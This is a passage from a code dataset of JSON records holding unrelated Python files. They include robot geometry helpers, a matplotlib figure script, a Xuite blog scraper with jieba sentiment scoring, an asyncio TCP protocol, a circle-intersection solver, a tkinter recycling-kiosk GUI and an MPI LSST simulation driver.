position_diff_x, position_diff_y = numpy.subtract(target, self.position)\n return math.degrees(math.atan2(position_diff_y, position_diff_x))\n\n def _smallest_angle_between_two_vectors(self, first_vector, second_vector):\n x1, y1 = first_vector\n x2, y2 = second_vector\n return math.degrees(math.atan2(x1 * y2 - y1 * x2, x1 * x2 + y1 * y2))\n\n def _has_orientation(self, orientation, delta=None):\n if delta is None:\n delta = self.rotation_tolerance\n\n return abs(self._get_angle_between_vectors(self.orientation, orientation)) <= delta\n\n def _wait_for_orientation(self, orientation_goal):\n while not self._has_orientation(orientation_goal):\n sleep(self.watchdog_time)\n\n def _get_distance(self, position):\n return numpy.linalg.norm(numpy.subtract(position, self.position))\n\n def _get_angle_between_vectors(self, vector1, vector2):\n return math.degrees(math.acos(numpy.dot(vector1, vector2)))\n\n def _on_store_update(self, state):\n self.position = (state[\"robot\"][\"position\"][\"x\"], state[\"robot\"][\"position\"][\"y\"])\n self.orientation = (state[\"robot\"][\"orientation\"][\"x\"], state[\"robot\"][\"orientation\"][\"y\"])\n self.charge = state[\"robot\"][\"charge\"]\n\n if self.look_at_target is not None:\n self.look_towards(self.look_at_target[0], self.look_at_target[1])\n","sub_path":"anesthetic/brain/services/robot.py","file_name":"robot.py","file_ext":"py","file_size_in_byte":9339,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"398315845","text":"import matplotlib.pyplot as plt\nimport numpy as np\nimport matplotlib.colors as colors\n\nfrom matplotlib import cm\nfrom matplotlib import rc\n\n__author__ = 'ernesto'\n\n# if use latex or mathtext\nrc('text', usetex=False)\nrc('mathtext', fontset='cm')\n\n# auxiliar function for plot ticks of equal length in x and y axis despite its scales.\ndef convert_display_to_data_coordinates(transData, length=10):\n # create a transform which will take from display to data coordinates\n inv = transData.inverted()\n # transform from display coordinates to data coordinates in x axis\n data_coords = inv.transform([(0, 0), (length, 0)])\n # get the length of the segment in data units\n yticks_len = data_coords[1, 0] - data_coords[0, 0]\n # transform from display coordinates to data coordinates in y axis\n data_coords = inv.transform([(0, 0), (0, length)])\n # get the length of the segment in data units\n xticks_len = data_coords[1, 1] - data_coords[0, 1]\n return xticks_len, yticks_len\n\n\n#####################################\n# PARAMETERS - This can be modified #\n#####################################\n\n# exponential PDF\ntheta = 1\n\n#####################\n# END OF PARAMETERS #\n#####################\n\n# abscissa values\nxmin = 0\nxmax = 15\n\nymin = 0\nymax = 1.2\n\nalpha = np.linspace(xmin, xmax, 300)\nvar_A = (np.square(alpha) + 1) / np.square(alpha + 1)\n\n# axis parameters\ndx = 2\nxmin_ax = xmin - dx\nxmax_ax = xmax + dx\n\ndy = 0.2\nymax_ax = ymax\nymin_ax = ymin - dy\n\n# length of the ticks for all subplot (6 pixels)\ndisplay_length = 6 # in pixels\n# x and y ticks labels margin\nxtm = -0.15\nytm = -0.5\n# font size\nfontsize = 14\n# colors from coolwarm\ncNorm = colors.Normalize(vmin=0, vmax=1)\nscalarMap = cm.ScalarMappable(norm=cNorm, cmap=cm.coolwarm)\ncol10 = scalarMap.to_rgba(0)\ncol20 = scalarMap.to_rgba(1)\n\n\nfig = plt.figure(0, figsize=(5, 3), frameon=False)\nax = fig.add_subplot(111)\n\nplt.xlim(xmin_ax, xmax_ax)\nplt.ylim(ymin_ax, ymax_ax)\n\n# horizontal and vertical ticks length\nxtl, ytl = convert_display_to_data_coordinates(ax.transData, length=display_length)\n\n# axis arrows\nplt.annotate(\"\", xytext=(xmin_ax, 0), xycoords='data', xy=(xmax_ax, 0), textcoords='data',\n arrowprops=dict(width=0.1, headwidth=6, headlength=8, facecolor='black', shrink=0.002))\nplt.annotate(\"\", xytext=(0, ymin_ax), xycoords='data', xy=(0, ymax_ax), textcoords='data',\n arrowprops=dict(width=0.1, headwidth=6, headlength=8, facecolor='black', shrink=0.002))\n\nplt.plot(alpha, var_A, color=col10, linewidth=2.5)\n\n# labels\nplt.text(xmax_ax, xtm, '$\\\\alpha$', fontsize=fontsize, ha='right', va='baseline')\nplt.text(-ytm, ymax_ax, '${\\\\rmvar}(\\hat{A})$', fontsize=fontsize, ha='left', va='center')\n\n# ticks and ticklabels\nplt.plot([1, 1], [0, 1/2], 'k--')\nplt.plot([0, 1], [1/2, 1/2], 'k--')\nplt.plot([0, xmax], [1, 1], 'k--')\n\nplt.text(1, xtm, '$1$', fontsize=fontsize, ha='center', va='baseline')\nplt.text(ytm, 1/2, '$\\\\dfrac{1}{2}$', fontsize=fontsize, ha='right', va='center')\nplt.text(ytm, 1, '$1$', fontsize=fontsize, ha='right', va='center')\nplt.text(ytm, xtm, '$0$', fontsize=fontsize, ha='right', va='baseline')\n\n\nplt.axis('off')\n\n# save as pdf image\nplt.savefig('problem_6_16.pdf', bbox_inches='tight')\n\nplt.show()\n\n","sub_path":"figuras/PycharmKayStatisticalReport/problem_6_16.py","file_name":"problem_6_16.py","file_ext":"py","file_size_in_byte":3234,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"410732467","text":"#隨意窩Xuite:https://blog.xuite.net/\n# -*- coding: UTF-8 -*-\n\nimport requests\nimport MySQLdb\nfrom bs4 import BeautifulSoup\nimport time\nimport jieba\nimport jieba.analyse\n\ndef remove_values_from_list(the_list, val):\n return [value for value in the_list if value != val]\n\ndef get_web_page(url): #原始地址\n time.sleep(0.5) # 每次爬取前暫停 0.5 秒以免被 PTT 網站判定為大量惡意爬取\n resp = requests.get(\n url=url,\n cookies={'over18': '1'}\n )\n return resp.text\n\njieba.set_dictionary('dict.txt.big')\njieba.load_userdict('userdict.txt')\n\nwith open('positive.txt', 'r',encoding='UTF-8') as positive:\n pos=[]\n for line in positive:\n pos.append(line.strip('\\ufeff').strip())\n positive.close()\n\nwith open('negative.txt', 'r',encoding='UTF-8') as negative:\n neg=[]\n for line in negative:\n neg.append(line.strip('\\ufeff').strip())\n negative.close()\n\nwith open('paid news.txt', 'r',encoding='UTF-8') as paidnews:\n paid=[]\n for line in paidnews:\n paid.append(line.strip('\\ufeff').strip())\n paidnews.close()\n \npos_set=set(pos)\nneg_set=set(neg)\npaid_set=set(paid)\n\nconn = MySQLdb.connect(host=\"localhost\", user=\"root\", passwd=\"\", db=\"python\",charset='utf8')#連結資料庫\ncur = conn.cursor()\n\ndef get():\n cur.execute(\"SELECT search_href,id FROM xuite WHERE content_analyst='-1'\")\n results = cur.fetchall()\n return results\n \ndef analyst(results):\n for record in results: \n db_url = record[0]\n xuite_id= record[1]\n\n\n res=requests.get(db_url)\n res.encoding='utf-8'\n soup = BeautifulSoup (res.text, \"html5lib\")\n #內文\n main_article = soup.select('#content_all') \n if len(main_article):\n sentence=main_article[0].select('span') \n total_pos_count=0\n total_neg_count=0\n total_paid_count=0\n for line in sentence:\n\n line2=line.text.strip()\n words=jieba.lcut(line2, cut_all=False)\n words_set = set(words)\n pos_intersection=words_set.intersection(pos_set)\n neg_intersection=words_set.intersection(neg_set)\n paid_intersection=words_set.intersection(paid_set)\n pos_count=len(pos_intersection)\n neg_count=len(neg_intersection)\n paid_count=len(paid_intersection)\n\n total_pos_count=total_pos_count+pos_count\n total_neg_count=total_neg_count+neg_count\n total_paid_count=total_paid_count+paid_count\n total_count = total_pos_count+total_neg_count+total_paid_count\n\n print (xuite_id)\n\n if total_count==0:\n Content_Analyst = \"0\"\n else:\n total_pos_count=total_pos_count+1\n total_count=total_count+2\n Content_Analyst = format(total_pos_count/total_count*100 , '0.2f')\n cur.execute (\"UPDATE xuite SET content_analyst=%s WHERE id='%s'\" % (Content_Analyst,xuite_id))\n conn.commit()\n else :\n cur.execute (\"DELETE FROM xuite WHERE id='%s'\" % (xuite_id))\n conn.commit()\n time.sleep(0.5)\n\nresult=get()\nprint (len(result))\nwhile(len(result)!=0):\n analyst(result)\n result=get()\n print(len(result))\n\ncur.close()\nconn.close()","sub_path":"python/AnalystXuite.py","file_name":"AnalystXuite.py","file_ext":"py","file_size_in_byte":3370,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"441766372","text":"import asyncio\nimport functools\nimport logging\nfrom abc import ABCMeta, abstractmethod\nfrom asyncio import transports\n\nfrom common.helpers.bytearray import ByteArray\nfrom common.datatypes import Int16\n\nlog = logging.getLogger(\"l2common.\" + __name__)\n\n\nclass TCPProtocol(asyncio.Protocol, metaclass=ABCMeta):\n def __init__(self, loop, manager_cls, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.loop = loop\n self.manager = manager_cls()\n\n @staticmethod\n def make_async(func):\n @functools.wraps(func)\n async def async_wrap(protocol, data):\n return await func(protocol, data)\n\n @functools.wraps(func)\n def wrap(protocol, data):\n return asyncio.Task(async_wrap(protocol, data), loop=protocol.loop)\n return wrap\n\n @staticmethod\n def data_to_bytearray(func):\n async def wrap(protocol, data):\n data = ByteArray(data)\n packet_len = Int16.decode(data[:2]) - 2\n data = ByteArray(data[2:])\n if not packet_len == len(data):\n log.error(\"Data len byte doesnt match data length.\")\n return await func(protocol, data)\n return wrap\n\n @abstractmethod\n async def data_received(self, data: ByteArray) -> None:\n pass\n\n\nclass InnerTCPProtocol(asyncio.Protocol):\n def __init__(self, loop, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.loop = loop\n\n def connection_made(self, transport: transports.BaseTransport) -> None:\n self.transport = transport\n\n @abstractmethod\n async def data_received(self, data: bytes) -> None:\n pass\n\n def write(self, data):\n self.transport.write(data)\n","sub_path":"common/transport/protocol.py","file_name":"protocol.py","file_ext":"py","file_size_in_byte":1720,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"516385550","text":"import math\nout = []\nfor _ in range(int(input())):\n out.append('')\n x1, y1, r1 = map(int, input().split())\n x2, y2, r2 = map(int, input().split())\n if x1 == x2 and y1 == y2 and r1 == r2:\n out.append('I can\\'t count them - too many points :(')\n continue\n if r1 > r2:\n x1, y1, r1, x2, y2, r2 = (x2, y2, r2, x1, y1, r1)\n dist2 = (x1 - x2)*(x1-x2) + (y1 - y2)*(y1 - y2)\n rsq = (r1 + r2)*(r1 + r2)\n if dist2 > rsq or dist2 < (r1-r2)*(r1-r2):\n out.append('There are no points!!!')\n continue\n elif dist2 == rsq:\n out.append('There are only 1 of them....')\n cx = x1 + (x2-x1)*r1/(r1+r2)\n cy = y1 + (y2-y1)*r1/(r1+r2)\n out.append(str(cx) + ' ' + str(cy))\n continue\n elif dist2 == (r1-r2)*(r1-r2):\n out.append('There are only 1 of them....')\n cx = x1 - (x2-x1)*r1/(r2-r1)\n cy = y1 - (y2-y1)*r1/(r2-r1)\n out.append(str(cx) + ' ' + str(cy))\n continue\n\n out.append('There are only 2 of them....')\n d = math.sqrt(dist2)\n f = (r2*r2 - r1*r1 + dist2)/(2*dist2)\n xf = x2 + f*(x1-x2)\n yf = y2 + f*(y1-y2)\n # Comment about midpoint inside\n dx = xf-x2\n dy = yf-y2\n h = math.sqrt(r2*r2 - dx*dx - dy*dy)\n norm = abs(math.hypot(dx, dy))\n p1 = (xf + h*(-dy)/norm, yf + h*(dx)/norm)\n p2 = (xf + h*(dy)/norm, yf + h*(-dx)/norm)\n pts = sorted([p1, p2])\n out.append(str(pts[0][0]) + ' ' + str(pts[0][1]))\n out.append(str(pts[1][0]) + ' ' + str(pts[1][1]))\n\nout = out[1:]\nprint('\\n'.join(out))\n \n\n\n\n\n","sub_path":"1002/solved/E2.py","file_name":"E2.py","file_ext":"py","file_size_in_byte":1554,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"458131424","text":"import tkinter\nfrom tkinter import *\nimport tkinter.font as font\nimport time\nimport image_send\nimport qr_send\n\ngui = Tk(className='Python Examples - Button') #initalises\ngui.geometry(\"1000x562\") #sets the dimensions\n\n\ngui.title(\"CODE::D\") #title of window\n \nmyFont = font.Font(family='Helvetica', size = 100, weight='bold') #define font\nmyFont2 = font.Font(family='Helvetica', size = 60, weight='bold') #define font\nmyFont3 = font.Font(family='Helvetica', size = 16, weight='bold') #define font\n\n\n\n\ndef scan_barcode(): #called when btn1 is pressed\n btn1.destroy()\n loading_message.pack(ipady = 675, ipadx = 1200, expand = True)\n image_send.send()\n loading_message.after(1000, read_material)\n \n\n\n\ndef read_material():\n try:\n with open(\"send_pi.txt\", \"r\") as infile:\n material = infile.read().strip(\"\\n\")\n loading_message.destroy()\n global material_message\n material_message = tkinter.Button(gui, text = \"Material: \" + material + \"\\n (tap to continue)\",\n fg = \"black\", bg = \"yellow\", command = scan_cardInitaliser)\n\n material_message['font'] = myFont3\n material_message.pack(ipadx = 500, ipady = 500, expand = True)\n\n\n\n except FileNotFoundError:\n time.sleep(5.0)\n read_material()\n \n\n \ndef scan_cardInitaliser(): #called when btn2 is pressed\n material_message.destroy()\n \n btn3.pack(ipady = 675, ipadx = 1200, expand = True)\n \n\ndef scan_card(): #called when btn3 is pressed\n btn3.destroy()\n qr_send.send()\n loading_message2.pack(ipady = 675, ipadx = 1200, expand = True)\n loading_message2.after(1000, read_rwpoints)\n \n\n\n \ndef read_rwpoints(): #is called when btn2 is pressed\n loading_message2.destroy()\n try:\n with open(\"new_points.txt\", \"r\") as infile:\n rwpoints = infile.read().strip(\"\\n\")\n \n rwpoints_display = tkinter.Label(gui, text = \"Current Reward Points:\\n\" +\n rwpoints, fg = \"red\", bg = \"yellow\")\n rwpoints_display['font'] = myFont3 \n rwpoints_display.pack(ipady = 500, ipadx = 500, expand = True)\n \n except FileNotFoundError:\n time.sleep(5.0) \n read_rwpoints()\n\n \n\n\n\n \nloading_message = tkinter.Label(gui, text = \"Scanning...\", fg = \"green\", bg = \"white\")\nloading_message['font'] = myFont2\n\nloading_message2 = tkinter.Label(gui, text = \"Scanning...\", fg = \"green\", bg = \"white\")\nloading_message2['font'] = myFont2\n\nmaterial_message = tkinter.Label(gui, text = \"glass\", fg = \"black\", bg = \"yellow\")\n\nbtn1 = Button(gui, text='SCAN', bg='black', fg='red', command = scan_barcode) # create button\nbtn3 = Button(gui, text = \"SCAN ID\", bg = \"black\", fg = \"red\", command = scan_card)\n\nbtn1['font'] = myFont # apply font to the button label\nbtn3['font'] = myFont2\n\n\n\nbtn1.pack(ipady = 675, ipadx = 1200, expand = True) # add button to gui window\n\ngui.mainloop() \n","sub_path":"pi/cam/guiv1.py","file_name":"guiv1.py","file_ext":"py","file_size_in_byte":3042,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"179111850","text":"\"\"\"Methods to colour files by same rules as ls\"\"\"\n\n\nimport os\nimport re\nfrom fnmatch import fnmatch\n\n\nfrom dotsite.decorators import memoize\nimport ansi_escapes\n\n\ndef _is_extension_glob(string):\n if not string:\n return False\n recogniser = re.compile('\\*\\.[^ ]+')\n try:\n return recogniser.match(string) is not None\n except TypeError:\n raise TypeError(repr(string))\n\n\n@memoize\ndef load_ls_colours():\n \"\"\"Load values from env's $LS_COLORS\"\"\"\n ls_colors = os.environ.get('LS_COLORS', '')\n ls_colour_list = ls_colors.split(':')\n ls_colour_values = [\n ls_colour.split('=') for ls_colour in ls_colour_list if ls_colour]\n ext_colours = {}\n glob_colours = set()\n for glob, colour in ls_colour_values:\n if _is_extension_glob(glob):\n ext_colours[glob[1:]] = colour\n else:\n glob_colours.add((glob, colour))\n return ext_colours, glob_colours\n\n\ndef _get_file_colour(filename):\n \"\"\"Get the relevant colour for that file\n\n Try file extension first\n then try any other globs we know\n \"\"\"\n ext_colours, glob_colours = load_ls_colours()\n _, ext = os.path.splitext(filename)\n try:\n return ext_colours[ext]\n except KeyError:\n for glob, colour in glob_colours:\n if fnmatch(glob, os.path.basename(filename)):\n return colour\n return None\n\n\ndef _get_extension_colour(extension):\n extension = extension[0] == '.' and extension or str('.%s' % extension)\n ext_colours, _ = load_ls_colours()\n return ext_colours.get(extension, None)\n\n\ndef _colourize(string, getter):\n colour = getter(string)\n escape_string = ansi_escapes.escape_sequence(colour)\n return '%s%s%s' % (escape_string, string, ansi_escapes.no_colour())\n\n\ndef colourize_file(filename):\n return _colourize(filename, _get_file_colour)\n\n\ndef colourize_extension(extension):\n return _colourize(extension, _get_extension_colour)\n","sub_path":"src/python/ls/ls_colours.py","file_name":"ls_colours.py","file_ext":"py","file_size_in_byte":1951,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"102809854","text":"\n# coding: utf-8\n\n# In[18]:\n\nsent='Hi He Lied Because Boron Could Not Oxidize Fluorine. New Nations Might Also Sign Peace Security Clause. Arthur King Can.'\n\n\n# In[19]:\n\npos=[1, 5, 6, 7, 8, 9, 15, 16, 19]\n\n\n# In[20]:\n\npos=[i-1 for i in pos]\n\n\n# In[21]:\n\ncount=0\noutput=[]\nfor _ in sent.replace(',','').replace('.','').split(' '):\n if (count in pos):\n count+=1\n output.append((_[0],count))\n else:\n count+=1\n output.append((_[0:2],count))\nprint(output)\n\n\n# In[ ]:\n\n\n\n","sub_path":"vincentzlt/chapter01/knock04.py","file_name":"knock04.py","file_ext":"py","file_size_in_byte":499,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"106937112","text":"import os\nimport re\nimport pandas as pd\nimport numpy as np\n\nif __name__ == '__main__':\n \n wordListPath = os.path.dirname(__file__)+'\\..\\Data\\Treated\\list_of_words.txt'\n datasetPath = os.path.dirname(__file__)+'\\..\\Data\\Treated\\mxm_dataset_full.txt'\n outputPath = os.path.dirname(__file__)+'\\..\\Data\\Treated\\dataset_dataframe.csv'\n \n #numberOfRows = 237662 #preallocate space to speed up feeding process\n numberOfRows = 100 #preallocate space to speed up feeding process\n numberOfColumns = 100 #TEST REMOVE\n existingColumnSize = 2 #non-bow column count\n\n with open(wordListPath) as stream:\n print('Open word list')\n for line in stream: #only one line in LOW\n words = re.split(',', line) [0:numberOfColumns]\n print('Pre-allocate index')\n dex=np.arange(0, numberOfRows)\n print('Pre-allocate dataframe: ' + str(numberOfRows) + ' rows, ' + str(numberOfColumns) + ' columns')\n df = pd.SparseDataFrame(index=dex, columns=['track_id','mxm_track_id', *words])\n print(df)\n stream.close()\n \n index = 0\n with open(datasetPath) as stream:\n print('Open full dataset')\n for line in stream:\n words = re.split(',', line)\n print(df.loc[index])\n print([words[0], words[1], *([0] * numberOfColumns)])\n \n \n s = pd.Series([words[0], words[1], *([0] * numberOfColumns)])\n #df.loc[index] = [words[0], words[1], *([0] * numberOfColumns)]\n #print(words[2:len(words)])\n \n for word in words[2:len(words)]: #word is in format id:count, where id starts at 1, not 0\n tup = re.split(':', word)\n #print(tup) \n columnIndex = int(tup[0])+existingColumnSize-1\n s[columnIndex] = int(tup[1])\n \n df[:,index] = s\n print(df)\n #print(df.shape)\n index += 1\n \n df.to_csv(outputPath, encoding='utf-8')\n ","sub_path":"Code/raw_to_csv.py","file_name":"raw_to_csv.py","file_ext":"py","file_size_in_byte":2040,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"405977429","text":"import cv2\r\nimport numpy as np\r\nfrom matplotlib import pyplot as plt\r\nlow_thred0 = np.array([100, 100, 100])\t#bgr\r\nhigh_thred0 = np.array([210, 210, 210])\r\n\r\nimage = cv2.imread('1.jpg')\r\nimg1=image[89:463,85:445]\r\ncv2.imwrite(\"F:9.jpg\",img1)\r\nbinary = cv2.inRange(img1, low_thred0,high_thred0 )\r\n\r\nmin_RectArea = 1000\r\nregion = []\r\n# 查找轮廓\r\ncontours, hierarchy = cv2.findContours(binary, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)\r\n# 筛选面积小的\r\nfor i in range(len(contours)):\r\n cnt = contours[i]\r\n # 计算该轮廓的面积\r\n area = cv2.contourArea(cnt)\r\n # 面积小的都筛选掉\r\n if (area < min_RectArea):\r\n continue\r\n # 轮廓近似,作用很小\r\n # epsilon = 0.001 * cv2.arcLength(cnt,True)\r\n # approx = cv2.approxPolyDP(cnt, epsilon, True)\r\n # 找到最小的矩形,该矩形可能有方向\r\n rect = cv2.minAreaRect(cnt)\r\n print(\"rect is: \")\r\n print(rect)\r\n # box是四个点的坐标\r\n box = cv2.boxPoints(rect)\r\n box = np.int0(box)\r\n # 计算高和宽\r\n height = abs(box[0][1] - box[2][1])\r\n width = abs(box[0][0] - box[2][0])\r\n # 正常情况下长高比在 1 - 3之间\r\n ratio = float(width) / float(height)\r\n print(ratio)\r\n if (ratio > 3 or ratio < 0.8):\r\n continue\r\n print(\"get region ok!\")\r\n region.append(box)\r\n\r\n# 用绿线画出这些找到的轮廓\r\nfor boox in region:\r\n cv2.drawContours(img1, [boox], -1, (0, 0, 0), 2)\r\n# cv2.imshow(\"mask\",img)\r\nys = [boox[0, 1], boox[1, 1], boox[2, 1], boox[3, 1]]\r\nxs = [boox[0, 0], boox[1, 0], boox[2, 0], boox[3, 0]]\r\nys_sorted_index = np.argsort(ys)\r\nxs_sorted_index = np.argsort(xs)\r\n\r\nx1 = boox[xs_sorted_index[0], 0]\r\nx2 = boox[xs_sorted_index[3], 0]\r\n\r\ny1 = boox[ys_sorted_index[0], 1]\r\ny2 = boox[ys_sorted_index[3], 1]\r\n\r\nimg_org2 = img1.copy()\r\nimg_org2[y1:y2, x1:x2]=np.zeros(img_org2[y1:y2, x1:x2].shape).copy()\r\n\r\n\r\ncv2.imshow(\"0\",binary)\r\n#cv2.imshow(\"rect\", img_plate)\r\ncv2.imshow(\"sssss\",img_org2)\r\ncv2.waitKey(0)\r\nGaussian = cv2.GaussianBlur(img_org2, (3, 3), 0, 0, cv2.BORDER_DEFAULT)\r\nMedian = cv2.medianBlur(Gaussian, 5)\r\nret, Binary = cv2.threshold(Median, 132, 255, cv2.THRESH_BINARY)\r\n\r\n\r\n\r\n\r\n\r\ncv2.waitKey(0)\r\na=Binary.shape[0]\r\nb=Binary.shape[1]\r\nimg2=Binary[int(0.1*a):int(0.9*a),int(0.1*b):int(0.9*b)]\r\ncv2.imshow(\"1\",img2)\r\ncv2.imwrite(\"F:10.jpg\",img2)\r\ncv2.imshow(\"4\",Gaussian)\r\ncv2.imshow(\"2\",Median )\r\ncv2.imshow(\"3\",Binary)\r\ncv2.waitKey(0)\r\n\r\n\r\nheight = img2.shape[0]\r\nwidth = img2.shape[1]\r\n\r\nx_histogram = np.sum(img2, axis=1)\r\nplt.figure('x')\r\nplt.plot(x_histogram)\r\nprint(np.array(x_histogram).shape)\r\ny_histogram = np.sum(img2, axis=0)\r\nplt.figure('y')\r\nprint(np.array(y_histogram).shape)\r\n\r\nplt.plot(y_histogram)\r\nplt.show()\r\nbogu_peaks=[]\r\npart_cards=[]\r\nc=[]\r\n\r\n\r\nb=x_histogram[:,1]\r\n\r\nfor i in range(0,img2.shape[1]):\r\n if b[i]==0 and b[i+1]>0:\r\n bogu_peaks.append(i)\r\n elif b[i]>0 and b[i+1]==0:\r\n bogu_peaks.append(i)\r\nprint(bogu_peaks)\r\nprint(len(bogu_peaks))\r\nfor i in range(0,int(len(bogu_peaks)>>1)):\r\n part_cards.append(img2[bogu_peaks[2*i]-1:bogu_peaks[2*i+1]+1,:])\r\n cv2.imwrite(\"F:1111.jpg\",img2[152:189, :])\r\n#cv2.imshow(\"sss\",img2[106:142,:])\r\ncv2.imshow(\"ssss\", img2[152:189, :])\r\n#cv2.imshow(\"sssss\", img2[200:237, :])\r\n#cv2.waitKey(0)\r\n##plt 同时显示多幅图像\r\nfor i in range(0,int(len(bogu_peaks)>>1)):\r\n for j in range (0,part_cards.shape[0]):\r\n y_histogram[i]= np.sum(part_cards[i], axis=0)\r\n c=y_histogram[i][:,1]\r\n if c[j] == 0 and c[j + 1] > 0:\r\n bogu_peaks.append(j)\r\n elif c[j] > 0 and c[j + 1] == 0:\r\n bogu_peaks.append(j)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","sub_path":"wr/4_16/wangrui/zhaolongkuo.py","file_name":"zhaolongkuo.py","file_ext":"py","file_size_in_byte":3680,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"236625064","text":"#!/software/anaconda3.6/bin/python\n\nfrom newLSSTEBWorker import LSSTEBWorker \nfrom OpSim import OpSim\nimport csv\nimport argparse\nimport numpy as np\nfrom mpi4py import MPI\nimport os\nimport time\n\nimport pickle\n\n\n\ndef define_args():\n\tparser = argparse.ArgumentParser()\n\n\tparser.add_argument(\"-c\", \"--n_bin\", \t\ttype=int, help=\"Number of binaries per process [100000]\")\n\tparser.add_argument(\"-o\", \"--output_file\", \ttype=str, help=\"output file name\")\n\tparser.add_argument(\"-a\", \"--n_band\", \t\ttype=int, help=\"Nterms_band input for gatspy [2]\")\n\tparser.add_argument(\"-b\", \"--n_base\", \t\ttype=int, help=\"Nterms_base input for gatspy [2]\")\n\tparser.add_argument(\"-s\", \"--seed\", \t\ttype=int, help=\"random seed []\")\n\tparser.add_argument(\"-v\", \"--verbose\", \t\taction='store_true', help=\"Set to show verbose output\")\n\tparser.add_argument(\"-l\", \"--opsim\", \t\taction='store_false', help=\"set to run LSST OpSim, else run nobs =\")\n\n\t#https://docs.python.org/2/howto/argparse.html\n\targs = parser.parse_args()\n\t#to print out the options that were selected (probably some way to use this to quickly assign args)\n\topts = vars(args)\n\toptions = { k : opts[k] for k in opts if opts[k] is not None }\n\tprint(options)\n\n\treturn args\n\ndef apply_args(worker, args):\n\n\n\tif (args.n_bin is not None):\n\t\tworker.n_bin = args.n_bin\n\t\t\n\tif (args.output_file is not None):\n\t\tworker.ofile = args.output_file\n\n\tif (args.n_band is not None):\n\t\tworker.n_band = args.n_band\n\tif (args.n_base is not None):\n\t\tworker.n_base = args.n_base\n\n\tworker.verbose = args.verbose\n\tworker.doOpSim = args.opsim\n\n\t#set the random seed\n\tif (args.seed is not None):\n\t\tworker.seed = args.seed\n\ndef file_len(fname):\n\ti = -1\n\twith open(fname) as f:\n\t\tfor i, l in enumerate(f):\n\t\t\tpass\n\treturn i + 1\n\n\ndef getFinishedIDs(d='output_files', Nbins = 40000):\n\t#these are not all finished, but this is OK for now\n\tif (not os.path.exists(d)):\n\t\treturn []\n\tfiles = os.listdir(d)\n\tIDs = []\n\tfor f in files:\n\t\tn = file_len(os.path.join(d,f))\n\t\tdone = False\n\t\t#if the file made it to the end (2 header rows, 1 line about OpSim)\n\t\tif (n >= Nbins + 3):\n\t\t\tdone = True\n\t\telse:\n\t\t\t#if there were no OpSim observations\n\t\t\tif (n == 4):\n\t\t\t\tlast = ' '\n\t\t\t\twith open(os.path.join(d,f), 'r') as fh:\n\t\t\t\t\tfor line in fh:\n\t\t\t\t\t\tpass\n\t\t\t\t\tlast = line\n\t\t\t\tif (last[0:2] == '-1'):\n\t\t\t\t\tdone = True\n\n\t\tif done:\n\t\t\tIDs.append(int(f[0:4]))\n\n\treturn IDs\n\nif __name__ == \"__main__\":\n\n\tfilters = ['u_', 'g_', 'r_', 'i_', 'z_', 'y_']\n\n\tcomm = MPI.COMM_WORLD\n\tsize = comm.Get_size()\n\trank = comm.Get_rank()\n\n\tsendbuf = None\n\troot = 0\n\n\targs = define_args()\n\tif (args.n_bin is None):\n\t\targs.n_bin = 4\n\n\tnfields = 5292 #total number of fields from OpSim\n\tfinishedIDs = getFinishedIDs()\n\tnfields -= len(finishedIDs)\n\tnfieldsPerCore = int(np.floor(nfields/size))\n\tprint(f\"nfields={nfields}, nfieldsPerCore={nfieldsPerCore}\")\n\n\tsendbuf = np.empty((size, 3*nfieldsPerCore), dtype='float64')\n\trecvbuf = np.empty(3*nfieldsPerCore, dtype='float64')\n\n\tgalModelDir = 'TRILEGALmodels'\n\tif (rank == root):\n\t\tif not os.path.exists(galModelDir):\n\t\t\tos.makedirs(galModelDir)\n\t\tif not os.path.exists('output_files'):\n\t\t\tos.makedirs('output_files')\n\n\t\tOpS = OpSim()\n\t\tOpS.dbFile = '/projects/p30137/ageller/EBLSST/input/db/baseline2018a.db' #for the OpSim database\t\n\t\tOpS.getAllOpSimFields()\n\n\t\tunfin = []\n\t\tfor i, ID in enumerate(OpS.fieldID):\n\t\t\tif ID not in finishedIDs: \n\t\t\t\tunfin.append(i)\n\t\tOpS.fieldID = OpS.fieldID[unfin]\n\t\tOpS.RA = OpS.RA[unfin] \n\t\tOpS.Dec = OpS.Dec[unfin]\n\n\t\tnfields = len(OpS.fieldID)\n\t\tprint(f\"rank 0 nfields={nfields}\")\n\n\t\t#scatter the fieldID, RA, Dec \n\t\t#get as close as we can to having everything scattered\n\t\tmaxIndex = min(nfieldsPerCore*size, nfields)\n\t\toutput = np.vstack((OpS.fieldID[:maxIndex], OpS.RA[:maxIndex], OpS.Dec[:maxIndex])).T\n\n\t\tprint(\"check\",maxIndex, nfieldsPerCore, size, nfields, output.shape)\n\t\tprint(\"reshaping to send to other processes\")\n\t\tsendbuf = np.reshape(output, (size, 3*nfieldsPerCore))\n\n\n\n\n\t#scatter to the all of the processes\n\tcomm.Scatter(sendbuf, recvbuf, root=root) \n\t#now reshape again to get back to the right format\n\tfieldData = np.reshape(recvbuf, (nfieldsPerCore, 3))\t\n\n\t#print(\"rank\", rank, fieldData)\n\n\t#add on any extra fields to rank =0\n\tif (rank == 0):\n\t\tif (nfieldsPerCore*size < nfields):\n\t\t\tprint(\"adding to rank 0\")\n\t\t\textra = np.vstack((OpS.fieldID[maxIndex:], OpS.RA[maxIndex:], OpS.Dec[maxIndex:])).T\n\t\t\tfieldData = np.vstack((fieldData, extra))\n\n\t#define the worker\n\tworker = 